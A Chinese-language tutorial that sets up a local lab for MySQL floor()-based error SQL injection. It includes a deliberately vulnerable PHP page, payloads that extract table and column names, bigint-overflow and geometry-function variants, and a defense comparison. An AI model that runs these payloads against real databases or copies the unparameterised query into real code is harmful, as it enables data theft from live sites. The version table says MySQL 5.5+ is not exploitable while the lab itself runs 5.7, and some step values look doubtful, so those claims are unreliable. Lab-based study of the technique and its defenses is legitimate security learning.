别再死记硬背Payload了!用PHP+MySQL本地复现floor报错注入全过程
从零构建PHP+MySQL靶场:可视化floor报错注入实验指南
实验环境准备与漏洞靶场搭建
在开始探索floor报错注入之前,我们需要一个可控的本地测试环境。推荐使用PHPStudy或Docker快速搭建:
# Docker方式(需提前安装Docker) docker run --name mysql-vuln -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d mysql:5.7 docker run --name php-apache -p 80:80 --link mysql-vuln:mysql -d php:7.4-apache创建漏洞页面的PHP代码(保存为vulnerable.php):
<?php $conn = new mysqli("mysql", "root", "123456", "testdb"); if ($conn->connect_error) die("Connection failed: " . $conn->connect_error); $id = $_GET['id']; $sql = "SELECT * FROM users WHERE id = " . $id; $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo "ID: " . $row["id"]. " - Name: " . $row["username"]; } } else { echo "No results"; } $conn->close(); ?>初始化测试数据库:
CREATE DATABASE testdb; USE testdb; CREATE TABLE users (id INT, username VARCHAR(255)); INSERT INTO users VALUES (1,'admin'),(2,'guest'),(3,'test');MySQL日志监控与执行过程可视化
要真正理解floor报错注入,我们需要观察MySQL内部执行过程。开启general log:
SET GLOBAL general_log = 'ON'; SET GLOBAL log_output = 'TABLE';查询日志的SQL语句:
SELECT * FROM mysql.general_log ORDER BY event_time DESC LIMIT 10;关键函数行为测试:
| 函数调用 | 示例 | 输出结果 | 重要特性 |
|---|---|---|---|
| FLOOR() | SELECT FLOOR(1.9) | 1 | 向下取整 |
| RAND(0) | SELECT RAND(0) | 0.15522042769493574 | 确定性伪随机 |
| COUNT(*) | SELECT COUNT(*) FROM users | 3 | 统计行数 |
通过以下命令观察rand(0)的确定性特征:
SELECT RAND(0), RAND(0), RAND(0) FROM users;floor报错注入的逐步拆解
让我们分解这个经典报错语句:
SELECT COUNT(*), CONCAT(DATABASE(), FLOOR(RAND(0)*2)) AS x FROM users GROUP BY x;执行过程可视化表格:
| 执行步骤 | RAND(0)值 | FLOOR(RAND(0)*2) | 虚拟表状态 | 关键动作 |
|---|---|---|---|---|
| 1 | 0.155220 | 0 | 空表 | 查询key=0 → 不存在 |
| 2 | 0.620881 | 1 | {key:1, count:1} | 插入时RAND()已变化 |
| 3 | 0.638763 | 1 | {key:1, count:2} | 直接计数 |
| 4 | 0.331537 | 0 | {key:1, count:2} | 查询key=0 → 不存在 |
| 5 | 0.739081 | 1 | 冲突发生 | 尝试插入重复key=1 |
错误产生的核心原因:
- 执行时序差异:RAND()计算比虚拟表操作快
- 确定性伪随机:RAND(0)产生可预测序列
- 主键冲突:插入时值已变化导致重复
实战注入技巧与防御方案
进阶注入payload示例:
-- 获取表名 SELECT COUNT(*) FROM (SELECT 1 UNION SELECT CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),FLOOR(RAND(0)*2)))x GROUP BY x; -- 获取列名 SELECT COUNT(*) FROM (SELECT 1 UNION SELECT CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),FLOOR(RAND(0)*2)))x GROUP BY x;防御方案对比表:
| 防御方式 | 实现代码 | 防护效果 | 性能影响 |
|---|---|---|---|
| 预处理语句 | $stmt = $conn->prepare("SELECT * FROM users WHERE id = ?"); | ★★★★★ | 低 |
| 类型转换 | $id = (int)$_GET['id']; | ★★★☆☆ | 极低 |
| 过滤函数 | $id = mysqli_real_escape_string($conn, $_GET['id']); | ★★☆☆☆ | 中 |
| WAF防护 | 商业解决方案 | ★★★★☆ | 高 |
深度原理分析与变种研究
通过GDB调试MySQL源码观察虚拟表创建过程:
# 编译调试版MySQL git clone https://github.com/mysql/mysql-server.git cd mysql-server && mkdir build && cd build cmake .. -DCMAKE_BUILD_TYPE=Debug make -j4关键断点设置:
item_func.cc:Item_func_rand::val_real()sql_select.cc:create_tmp_table()handler.cc:write_row()
不同MySQL版本的差异:
| 版本 | 行为特征 | 是否可利用 |
|---|---|---|
| 5.0.x | 稳定报错 | 是 |
| 5.1.x | 概率报错 | 部分 |
| 5.5+ | 修复机制 | 否 |
| 8.0+ | 完全防护 | 否 |
替代方案研究:
-- 基于bigint溢出 SELECT !(SELECT * FROM (SELECT USER())x)-~0; -- 基于几何函数 SELECT ST_LatFromGeoHash(USER());